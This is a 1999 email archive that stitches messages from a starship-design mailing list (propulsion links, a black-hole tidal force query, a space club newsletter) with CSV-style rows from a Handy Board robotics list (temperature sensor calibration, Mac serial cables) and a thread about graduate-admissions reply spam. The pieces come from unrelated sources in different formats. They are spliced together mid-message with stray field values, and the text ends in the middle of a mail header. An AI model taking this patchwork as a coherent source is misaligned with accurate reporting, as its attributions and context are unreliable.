boundary=""----=_NextPart_000_0036_01BEEBB5.B08C8680"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Funded Phase I Studies Date: Sat, 21 Aug 1999 09:02:12 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0036_01BEEBB5.B08C8680 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit LOTS of abstracts on current propulsion and power research, including the M2P2 paper and the EST paper... http://peaches.niac.usra.edu/studies/9801/index.html Lee Parker ------=_NextPart_000_0036_01BEEBB5.B08C8680 Content-Type: application/octet-stream; name=""Funded Phase I Studies.url"" Content-Disposition: attachment; filename=""Funded Phase I Studies.url"" Content-Transfer-Encoding: 7bit [DEFAULT] BASEURL=http://peaches.niac.usra.edu/studies/9801/index.html [InternetShortcut] URL=http://peaches.niac.usra.edu/studies/9801/index.html Modified=90343491DDEBBE0110 ------=_NextPart_000_0036_01BEEBB5.B08C8680-- >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""66"" ""Saturday"" ""21"" ""August"" ""1999"" ""12:19:22"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""5"" ""starship-design: Mysterious Object"" ""^From:"" nil nil ""8"" nil ""starship-design: Mysterious Object"" nil nil nil] nil) Content-Length: 66 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id KAA16094 for starship-design-outgoing; Sat, 21 Aug 1999 10:22:18 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id KAA16089 for ; Sat, 21 Aug 1999 10:22:16 -0700 (PDT) Received: from broadsword (p462.gnt.com [204.49.91.78]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id MAA12744 for ; Sat, 21 Aug 1999 12:22:15 -0500 Message-ID: <004201beebf9$9eab67d0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Mysterious Object Date: Sat, 21 Aug 1999 12:19:22 -0500 Link: http://astro.caltech.edu/~george/dposs/pr.html Lee Parker >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1338"" ""Tuesday"" ""24"" ""August"" ""1999"" ""00:33:27"" ""+0200"" ""Im@x'99"" ""moonwalker@tiscalinet.it"" nil ""45"" ""starship-design: easy or no easy?"" ""^From:"" nil nil ""8"" nil ""starship-design: easy or no easy?"" nil nil nil] nil) Content-Length: 1338 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA19213 for starship-design-outgoing; Mon, 23 Aug 1999 15:30:53 -0700 (PDT) Received: from lyra.tiscalinet.it (lyra.tiscalinet.it [195.130.224.60]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA19206 for ; Mon, 23 Aug 1999 15:30:51 -0700 (PDT) Received: from moonwalker (ca2-199.tiscalinet.it [212.123.89.71]) by lyra.tiscalinet.it (8.8.8+Sun/8.8.8) with SMTP id AAA04775 for ; Tue, 24 Aug 1999 00:30:17 +0200 (MET DST) Message-ID: <005301beedb7$94d779a0$47597bd4@moonwalker> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0050_01BEEDC8.482B6C40"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk Reply-To: ""Im@x'99"" From: ""Im@x'99"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: starship-design: easy or no easy? Date: Tue, 24 Aug 1999 00:33:27 +0200 This is a multi-part message in MIME format. ------=_NextPart_000_0050_01BEEDC8.482B6C40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all! Can you send me one answer, please?: i don't remind the final calculation (F=3D3x10^11 N) at my web page"" Dentro il buco"", about tidal force into = a black hole. http://web.tiscalinet.it/buchineri E-mail: moonwalker@tiscalinet.it many thanks! ------=_NextPart_000_0050_01BEEDC8.482B6C40 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all!Can you send meone answer, please?: i = don't=20 remind the final calculation(F=3D3x10^11 N) at my web page"" Dentro = il buco"",=20 about  tidal force into ablack hole.http://web.tiscalinet.it/buch= ineriE-mail:=20 moonwalker@tiscalinet.it= many=20 thanks! ------=_NextPart_000_0050_01BEEDC8.482B6C40-- >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""379"" ""Monday"" ""23"" ""August"" ""1999"" ""23:43:08"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""12"" ""Re: starship-design: easy or no easy?"" ""^From:"" nil nil ""8"" nil ""starship-design: easy or no easy?"" nil nil nil] nil) Content-Length: 379 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA23712 for starship-design-outgoing; Mon, 23 Aug 1999 15:49:47 -0700 (PDT) Received: from smtp7.xs4all.nl (smtp7.xs4all.nl [194.109.127.50]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA23707 for ; Mon, 23 Aug 1999 15:49:46 -0700 (PDT) Received: from - (dc2-modem685.dial.xs4all.nl [194.109.130.173]) by smtp7.xs4all.nl (8.9.3/8.9.3) with SMTP id AAA11854 for ; Tue, 24 Aug 1999 00:49:43 +0200 (CEST) Message-Id: <3.0.1.32.19990823234308.0068a574@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <005301beedb7$94d779a0$47597bd4@moonwalker> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: easy or no easy? Date: Mon, 23 Aug 1999 23:43:08 +0100 Hello Im@x, If you didn't know it yet, this mailing list is in English. I'd guess that very few of the people subscribed are able to understand Italian. So it might be a good idea to not point the members of the list to a site that only supports the Italian language. Repeating the message (3 times) will not make our understanding of Italian any better. Buon giorno, Timothy >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""863"" ""Monday"" ""23"" ""August"" ""1999"" ""17:53:27"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""25"" ""Re: starship-design: easy or no easy?"" ""^From:"" nil nil ""8"" nil ""starship-design: easy or no easy?"" nil nil nil] nil) Content-Length: 863 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA07085 for starship-design-outgoing; Mon, 23 Aug 1999 16:46:21 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA07078 for ; Mon, 23 Aug 1999 16:46:20 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin60.jetnet.ab.ca [207.153.6.60]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id RAA29535 for ; Mon, 23 Aug 1999 17:46:18 -0600 (MDT) Message-ID: <37C1DEF7.1B9D4A5C@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: <3.0.1.32.19990823234308.0068a574@pop.xs4all.nl> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: Re: starship-design: easy or no easy? Date: Mon, 23 Aug 1999 17:53:27 -0600 Timothy van der Linden wrote: > > Hello Im@x, > > If you didn't know it yet, this mailing list is in English. I'd guess that > very few of the people subscribed are able to understand Italian. So it > might be a good idea to not point the members of the list to a site that > only supports the Italian language. > Repeating the message (3 times) will not make our understanding of Italian > any better. > > Buon giorno, > > Timothy Nor will responding back to a Italian in English be that wise? Perhaps we need a few people to translate then or find a translation program on the web to translate on the fly, for the people that don't speak English. Good ideas need not be hampered by language. Ben. -- ----------------------------------------------------------------- ""Everything should be made as simple as possible, but not simpler."" Albert Einstein >From VM Thu Aug 26 09:56:55 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""621"" ""Monday"" ""23"" ""August"" ""1999"" ""21:27:41"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""21"" ""RE: starship-design: easy or no easy?"" ""^From:"" nil nil ""8"" nil ""starship-design: easy or no easy?"" nil nil nil] nil) Content-Length: 621 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id TAA00326 for starship-design-outgoing; Mon, 23 Aug 1999 19:28:49 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id TAA00320 for ; Mon, 23 Aug 1999 19:28:47 -0700 (PDT) Received: from broadsword (p473.gnt.com [204.49.91.89]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id VAA30058 for ; Mon, 23 Aug 1999 21:28:44 -0500 Message-ID: <001201beedd8$4a35c7f0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal In-Reply-To: <37C1DEF7.1B9D4A5C@jetnet.ab.ca> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: RE: starship-design: easy or no easy? Date: Mon, 23 Aug 1999 21:27:41 -0500 AltaVista will translate for you... Lee Parker > -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Ben > Franchuk > Sent: Monday, August 23, 1999 6:53 PM > To: starship-design@lists.uoregon.edu > Subject: Re: starship-design: easy or no easy? > Nor will responding back to a Italian in English be that wise? > Perhaps we need a few people to translate then or find a > translation program on > the web > to translate on the fly, for the people that don't speak > English. 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You know that each count on the A/D is worth ~20mV so you are going to get 2 degrees per count. 78/2 = 39 so I would put 0F at about 119 counts. You can redo the math to get it more accurate but the process is the same. I'd say that the sensor does not go 0-5V and based on the information you provided I would only expect a 2.7V range with the low end (-40F) at about 2V. -----Original Message----- From: Jonathan Swaby [mailto:jonathan.swaby@vpss.gatech.edu] Sent: Tuesday, August 24, 1999 4:04 AM To: handyboard@media.mit.edu; Robot Board Subject: Temperature sensing I have both a Handyboard, and a miniboard. I would like them to be able to sense the temperature of the air around them, so I have purchased some lm34's. They are the caz versions. They are TO92 form factor. The output of the sensor is a voltage. 10mv/F. In playing with it last night i got a reading of 158 from the miniboard. Now, how do I convert this number to a temperature? It was measuring the temperature of the room, which was about 78F. Now, I figure the 158 translates into a voltage of 3.098V. The temperature range for the sensor is -40F to 270F. I think the following formula should give me what I want: (40F+270F)/255 =1.05F per step. -40F is the offset value. My reading was 158, so I should be able to do the following: (158*1.05F)-40F=129F This value is, of course, not correct, but I think the process is. Unlike the LM334 series sensor, there is no way to calibrate this sensor except in the formula. My idea is to find the values of known temperatures, freezing, and boiling water, and use that information to adjust the degrees per step. Is this a good way to approach it, or is there a better solution? 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Now, I figure the 158 translates into a voltage of 3.098V. The temperature range for the sensor is -40F to 270F. I think the following formula should give me what I want: (40F+270F)/255 =1.05F per step. -40F is the offset value. My reading was 158, so I should be able to do the following: (158*1.05F)-40F=129F This value is, of course, not correct, but I think the process is. Unlike the LM334 series sensor, there is no way to calibrate this sensor except in the formula. My idea is to find the values of known temperatures, freezing, and boiling water, and use that information to adjust the degrees per step. Is this a good way to approach it, or is there a better solution? Jonathan Swaby Computer Services Specialist IV Student Affairs Phone: 404-894-5889 Fax: 404-894-9928 GeorgiaInstitute ofTechnology ",0,0 Sean Verret ,Jim Thomas ,"Tue, 24 Aug 1999 10:06:38 -0700",Re: Temperature sensing,"If I was approaching this first I'd check the spec sheet becaue it probably give soem sort of formula to figure out the temperature. If not just do a series of tests... Like Jim says it's most likely linear so just take various readings at known temperatures and then derive a formula form the slope and intercept of the line... It comes down to elementary math that way.. Cheers > > I'd say that's the wrong way to go about it. You said the spec was > 10mV/degF and the room temp was 78F. The slope must be linear or nearly so. > You know that each count on the A/D is worth ~20mV so you are going to get 2 > degrees per count. 78/2 = 39 so I would put 0F at about 119 counts. You > can redo the math to get it more accurate but the process is the same. I'd > say that the sensor does not go 0-5V and based on the information you > provided I would only expect a 2.7V range with the low end (-40F) at about > 2V. > > -----Original Message----- > From: Jonathan Swaby [mailto:jonathan.swaby@vpss.gatech.edu] > Sent: Tuesday, August 24, 1999 4:04 AM > To: handyboard@media.mit.edu; Robot Board > Subject: Temperature sensing > > I have both a Handyboard, and a miniboard. I would like them to be able to > sense the temperature of the air around them, so I have purchased some > lm34's. They are the caz versions. They are TO92 form factor. The output of > the sensor is a voltage. 10mv/F. In playing with it last night i got a > reading of 158 from the miniboard. Now, how do I convert this number to a > temperature? It was measuring the temperature of the room, which was about > 78F. Now, I figure the 158 translates into a voltage of 3.098V. The > temperature range for the sensor is -40F to 270F. I think the following > formula should give me what I want: > > (40F+270F)/255 =1.05F per step. > > -40F is the offset value. > > My reading was 158, so I should be able to do the following: > > (158*1.05F)-40F=129F > > This value is, of course, not correct, but I think the process is. Unlike > the LM334 series sensor, there is no way to calibrate this sensor except in > the formula. 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I actually have a cable that goes from 9 pin D shell to 25 pin D Shell, and another that goes from 25 pin to 8 pin Mac so I can hook up a modem I have. here's one that would work: http://www.cc-inc.com/sales/detail.asp?dpno=19007&catalog_id=2&store=pcmall -chris ----- Original Message ----- From: Marshall & Susan Romberg To: Sent: Wednesday, August 25, 1999 4:01 PM Subject: HB to Mac communication hdwr > What kind of hardware would you use to connect a handy board to a Mac? The > Mac has no RS-232 ports! Can you somehow use the printer/modem port? Help! > >",0,1 Eric Noyau ,sromberg@netarrant.net,"Wed, 25 Aug 1999 17:00:00 -0700",Re: HB to Mac communication hdwr," Depends on your mac. For older mac, the printer or modem port works just fine. For recent mac without any of these ports (like my iMac) you can use a USB to serial adaptor. The Keyspan (http://www.keyspan.com/products/usb/usa28x/) just work. If you have an iMac the iPort (http://www.griffintechnology.com/imac/iport.html) also gives you a printer port. I tried both and both worked flawlessly. All you need then is he correct cable to connect the 25 pins connector on your interface board and the mini-din connector on you mac. Check your local computer store, they should be able to help. And if you buy your HandyBoard from Glasson, tell them you want the ""mac version"" and they will send you the correct cable and software. -- Eric At 04:01 PM 8/25/99 , Marshall & Susan Romberg wrote: >What kind of hardware would you use to connect a handy board to a Mac? The >Mac has no RS-232 ports! Can you somehow use the printer/modem port? Help! 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I'm not sure if it works for other brands of remote control through hope that helps a bit Adam > SOME ONE CORRECT ME IF I'M WRONG, CAN I OPERATE THE HANDY BOARD WITH A > REMOTE CONTROL AS WELL AS AUTONOMOUSLY. IF SO WHERE CAN I GET MORE > INFO??? > > THANKS! > ",0,0 """Curt Mills, WE7U"" ",Paul DaCosta ,"Thu, 26 Aug 1999 10:11:22 -0700",Re: question,"On Thu, 26 Aug 1999, Paul DaCosta wrote: > is it possible in the handy board to change the 8 bit cpu with, a 16 or > 32, with out interferring the circutry? how about with the E2, E9, A8, > A1. Say it is possible, would it increase performance??? You could put in an E-series, and bump up the crystal a bit, but then you wouldn't be able to use Interactive C anymore, 'cuz your baud rates would change, and therefore you'd have to use an alternative assembly or compiling environment. They exist, but you'd make things much harder on yourself by doing so. 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I wrote some code (long gone i'm afraid, but you could do > it easily) that printed to the lcd whatever code was received from a button > press. It's pretty easy, just a number between 0 and 255 depending on the > value. I'm not sure if it works for other brands of remote control through > > > hope that helps a bit > Adam > > > > SOME ONE CORRECT ME IF I'M WRONG, CAN I OPERATE THE HANDY BOARD WITH A > > REMOTE CONTROL AS WELL AS AUTONOMOUSLY. IF SO WHERE CAN I GET MORE > > INFO??? > > > > THANKS! > > > > ",0,0 Chuck McManis ,"Paul DaCosta , handyboard ","Thu, 26 Aug 1999 11:07:34 -0700",Re: question,"No, but it is possible to buy other boards with higher performance processors and similar capabilities to the Handyboard. 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Please be advised that UCSC greatly values the participation of scholars from diverse nations and cultures in our various graduate programs, and we therefore actively solicit applications for admission from foreign applicants. Unfortunately, recent fiscal problems in the University of California have made it very difficult for us to offer much financial support to foreign applicants. (Departments may recommend offers of available financial support based on merit.) It is strongly recommended that international applicants seek scholarship support from their own government. ***To receive complete program information and a formal application for admission, please write to us at UC Santa Cruz, Division of Graduate Studies, 1156 High Street, Santa Cruz, CA 95064. Indicate the program to which you will apply, and include an $8.50 (U.S.) money order payable to UC Regents. Applications and program information will not be mailed until we have received the $8.50 money order. You may obtain information on our graduate programs, general application information and the links to complete an on-line application or download an application at: http://graddiv-19.ucsc.edu/GradStudies/index.html Graduate Admissions prefers to receive applications for Fall 2000 after September 1st, 1999. Because it normally takes much longer to process international applications, you should submit your application well before the program's deadline. Information for prospective students from other countries: http://www.admissions.ucsc.edu/ucpubs/ips-top.html Sincerely, Katelyn Haynes Graduate Admissions UC Santa Cruz >Please send you request to cse-gradinfo@cse.buffalo.edu > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! Sincerely, Katelyn Haynes Graduate Admissions 1156 High St. Santa Cruz, CA 95064 (831) 459-5905 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! Karen Luther School of Graduate Studies Utah State University ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Michael Faiman ,westall@cs.clemson.edu,"Thu, 26 Aug 1999 16:44:19 -0500",Re: Application Form Request,"Mike: Your analysis makes all the sense in the world. It just proved my worst fear: the only thing worse than junk mail is junk email. Thanks for taking the trouble to reply, and please give my regards to the folks at Clemson, especially Joe Turner. -- Mike Faiman ",0,0 Graduate Admissions ,Mike Westall ,"Thu, 26 Aug 1999 15:06:55 -0700",Re: Application Form Request,"Thank you for your information professor Westall, we did not realized that it was some sort of spam list. We apolized for your inconvience. Thanks again >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA. > >Now if Ms. Pohlman at SUNY or Ms. Hayes at UCSC inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. D. program of Computer Science of your >>esteemed University with financial aid in Fall'2000. And now I am graduate >>student of Fudan University,P.R. China.Can you do me a favor to send >>the application form to the address below. Sincerely, Katelyn Haynes Graduate Admissions 1156 High St. Santa Cruz, CA 95064 (831) 459-5905",0,0 KellySt@aol.com,"reyesfred@xoommail.com, starship-design@lists.uoregon.edu","Thu, 26 Aug 1999 22:16:41 -0400",Re: starship-design: maser heating of plasma,"In a message dated 8/26/99 11:30:27 AM, reyesfred@xoommail.com writes: >Hello folks, >I was wondering, would a MASER be a good way to heat plasma? I know that > >microwaves are sometimes used to pump energy into the secondary coil in > >some tokamak designs, but it is never mentioned (at least not that I know > >of) if it has been attempted with one or more masers. Anyone know how >to >build a maser? My idea involves using the plasma as a sort of heat storage > >battery. Any ideas? > >Fred Reyes You could certainly heat plasma that way, but I can't see how you could store heat that way? Kelly >From VM Mon Aug 30 10:07:15 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5628"" ""Saturday"" ""28"" ""August"" ""1999"" ""21:49:17"" ""+0200"" ""Zenon Kulpa"" ""zkulpa@zmit1.ippt.gov.pl"" nil ""113"" ""starship-design: URANOS Club Newsletter No. 3."" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 5628 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA27443 for starship-design-outgoing; Sat, 28 Aug 1999 12:54:38 -0700 (PDT) Received: from zmit1.ippt.gov.pl (zmit1.ippt.gov.pl [148.81.53.8]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA27437 for ; Sat, 28 Aug 1999 12:54:35 -0700 (PDT) Received: (from zkulpa@localhost) by zmit1.ippt.gov.pl (8.8.5/8.7.3-zmit) id VAA19250 for starship-design@lists.uoregon.edu; Sat, 28 Aug 1999 21:49:17 +0200 (MET DST) Message-Id: <199908281949.VAA19250@zmit1.ippt.gov.pl> Precedence: bulk Reply-To: Zenon Kulpa From: Zenon Kulpa Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: URANOS Club Newsletter No. 3. Date: Sat, 28 Aug 1999 21:49:17 +0200 (MET DST) --------------------------------------------------------------- --> http://www.uranos.eu.org/ <-- * * **** *** * * *** **** * * * * * * * * ** * * * * * * * * * * * **** ***** * * * * * *** * * * * * * * * * * * * ** * * * * * *** * * * * * * *** **** CLUB * for * EXPANSION * of * CIVILIZATION * into * SPACE --------------------------------------------------------------- No. 3 URANOS CLUB NEWSLETTER 27.VIII.1999 This is the new issue of our irregularly published electronic newsletter. To receive further issues of this newsletter, please send please send a letter stating so to the address: --------------------------------------------------------------- Changes to the URANOS site: --------------------------- - The Club website is now accessible at two addresses - the old one ( http://www.uranos.eu.org/ ), and a new one, with Polish domain ( http://www.uranos.org.pl/ ). It makes us more visible to Polish web indexes. The old address now automatically directs the incoming access requests to the English version of the site, while the new one accesses the Polish version first. Of course, once at the site, you may switch freely between both versions of all bilingual pages. - We have extended the site significantly with new sections ""Poland and Poles in space exploration"" and ""Mars exploration"". - The new Polish section contains: -- information about Polish space research institutions (research institutes, university faculties, astronomical observatories, planetariums) - addresses (postal and electronic), phone numbers, links to WWW sites; -- information about Polish organizations related to space exploration - addresses (postal and electronic), phone numbers, links to WWW sites, publications; -- a list of space objects with names of Polish origin; -- information about Polish scientists who made significant contributions to space exploration - short biographical notes like that found on the main explorers page; -- information about Polish cosmonauts and astronauts. - The section on Mars exploration initiates a new large section ""The Settler's Guide to the Solar System"", and includes: -- general astronomical and physical data on Mars, with a short commentary; -- an extensive list of links to the most interesting websites on Mars and its exploration; -- a description of Robert Zubrin's ""Mars Direct"" proposal for manned missions to Mars; -- information about The Mars Society, including its Founding Declaration (both in English and Polish) and information about its recently formed Polish chapter (named ""Mars Society Polska"") with which our Club started a close collaboration. - We have added many new links - in the list of Polish space websites, and in the general list of recommended websites (including a whole new category ""Transport to orbit"" and significant enlargement of the ""Commercial activity in space"" category). We also have done a general checking of the links, deleting the dead ones and updating many others. - We have added two new entries to our list of recommended Polish-language books (""Comets"" by Yeomans and advance notice of the ""NASA Solar System Atlas""). - Portraits of great contributors to space exploration have been added to our biographical pages. - We have introduced numerous improvements of navigation aids, graphics, etc., and corrected various errors. Other information: ------------------ - Our appeal for help in verifying the English language versions of our pages drew the response of several people. Currently two persons are helping us to do this - thank you! - Now we are looking for people willing to translate our remaining Polish texts into English - our only translator noticeably lags behind schedule... - On the list of our site contributors we distinguish the positions of Site Editors - those members of our group who personally have developed and maintained some sections or parts of our pages. - The discussion list now counts 36 subscribers. Special information - The URANOS Club is now one year old! ---------------------------------------------------------- - On August 18, 1999 exactly one year has passed since the official appearance of our site on the Web. In that time our site has been rebuilt and extended several times, gathering many new supporters and sympathizers of our Club, on our two e-mail lists and , and on the distribution list for the Club Bulletin. An excerpt from the usage statistics for the first year of activity shows among others: -- the total number of hits: over 65,000; -- average numbers of hits: . per month: around 5,000 (peak values: 7,417 in April, 7,414 in May, and 7,098 in July of 1999), . per day: around 170 (peak values: 811 on Aug. 28, 1998, 831 on Dec. 9, 1998, and 704 on Apr. 10, 1999 r.). -- the principal domains of the visitors: over 60% from Poland; over ten percent ""unknown"" and the US (mostly .com, and some .edu), then .net, followed by the rest of the world (one percent or less for the domain), from all continents, including New Zealand, Taiwan, Brasil, etc. --------------------------------------------------------------- Please forward! >From VM Mon Aug 30 10:07:15 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""97"" ""Saturday"" ""28"" ""August"" ""1999"" ""21:07:40"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""5"" ""starship-design: Space Transportation Programs"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 97 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id TAA26163 for starship-design-outgoing; Sat, 28 Aug 1999 19:18:46 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id TAA26158 for ; Sat, 28 Aug 1999 19:18:44 -0700 (PDT) Received: from broadsword (p479.gnt.com [204.49.91.95]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id VAA08739 for ; Sat, 28 Aug 1999 21:18:39 -0500 Message-ID: <001a01bef1c4$b39011c0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Space Transportation Programs Date: Sat, 28 Aug 1999 21:07:40 -0500 Here is a really neat site with lots of graphics. http://www.highway2space.com/ Lee Parker >From VM Mon Aug 30 10:07:15 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""153"" ""Sunday"" ""29"" ""August"" ""1999"" ""13:01:12"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""7"" ""starship-design: Backward Causation and the EPR Paradox "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 153 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id LAA10249 for starship-design-outgoing; Sun, 29 Aug 1999 11:02:36 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id LAA10244 for ; Sun, 29 Aug 1999 11:02:34 -0700 (PDT) Received: from broadsword (p435.gnt.com [204.49.91.51]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id NAA02510 for ; Sun, 29 Aug 1999 13:02:29 -0500 Message-ID: <000201bef248$8cc76f00$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Backward Causation and the EPR Paradox Date: Sun, 29 Aug 1999 13:01:12 -0500 Here is a link to a paper that I am sure will stir up a little controversy...its been too quiet lately! http://xxx.lanl.gov/html/quant-ph/9810060 Lee >From VM Mon Aug 30 16:21:26 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2261"" ""Monday"" ""30"" ""August"" ""1999"" ""19:18:49"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""67"" ""Fwd: RE: starship-design: Space Transportation Programs"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2261 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA25831 for starship-design-outgoing; Mon, 30 Aug 1999 16:20:00 -0700 (PDT) Received: from 